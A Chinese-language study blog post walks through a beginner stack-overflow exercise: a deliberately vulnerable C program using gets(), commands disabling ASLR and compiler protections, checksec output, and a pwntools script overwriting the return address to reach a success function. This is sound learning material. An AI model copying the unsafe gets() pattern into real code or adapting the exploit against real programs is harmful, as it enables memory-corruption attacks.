PWN学习之栈溢出

1
learning without thought is vain, thought without learning is idle!

不知道为什么,突然就领悟了这句早已滚瓜烂熟的孔夫子的经典名言–“学而不思则罔,思而不学则殆”。作为理工科来说,工而不理则罔,理而不工则殆。对于PWN的学习亦是如此,不动手只会越来越不想动手,而一动手就是一堆错。到头来只能感叹:“道理我都懂,可它就是不对!”为此,特将学习PWN的过程一一记录,以防思而不学。

理论参考CTFwiki,这里只记录过程

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
void success()
{
puts("You Hava already controlled it.");
}
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main() {
vulnerable();
return 0;
}

编译前提

1
2
3
4
5
6
root@kali:/pwn/栈溢出# cat /proc/sys/kernel/randomize_va_space  ##关闭ASLR
2
root@kali:/pwn/栈溢出# echo 0 -> /proc/sys/kernel/randomize_va_space
root@kali:/pwn/栈溢出# cat /proc/sys/kernel/randomize_va_space
0
root@kali:pwn/栈溢出# apt install gcc-multilib #完善gcc环境,使之能生成32位程序

进行编译

1
2
3
4
5
6
7
8
gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example
stack_example.c: In function ‘vulnerable’:
stack_example.c:9:3: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
gets(s);
^~~~
fgets
/usr/bin/ld: /tmp/ccVDCXWz.o: in function `vulnerable':
stack_example.c:(.text+0x45): 警告:the `gets' function is dangerous and should not be used.

查看保护

1
2
3
4
5
6
7
checksec stack_example
[*] '/mnt/hgfs/shared/pwn/\xe6\xa0\x88\xe6\xba\xa2\xe5\x87\xba/stack_example'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

IDA查看

IDA获取success地址

攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x08049172
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print "addr:"
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

结果如下

1
2
3
4
5
6
7
8
9
root@kali:shared/pwn/栈溢出# python exp.py 
[+] Starting local process './stack_example': pid 8314
addr:
r\x91\x0
[*] Switching to interactive mode
[*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 8314)
aaaaaaaaaaaaaaaaaaaabbbbr\x91\x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
-------------本文结束感谢您的阅读-------------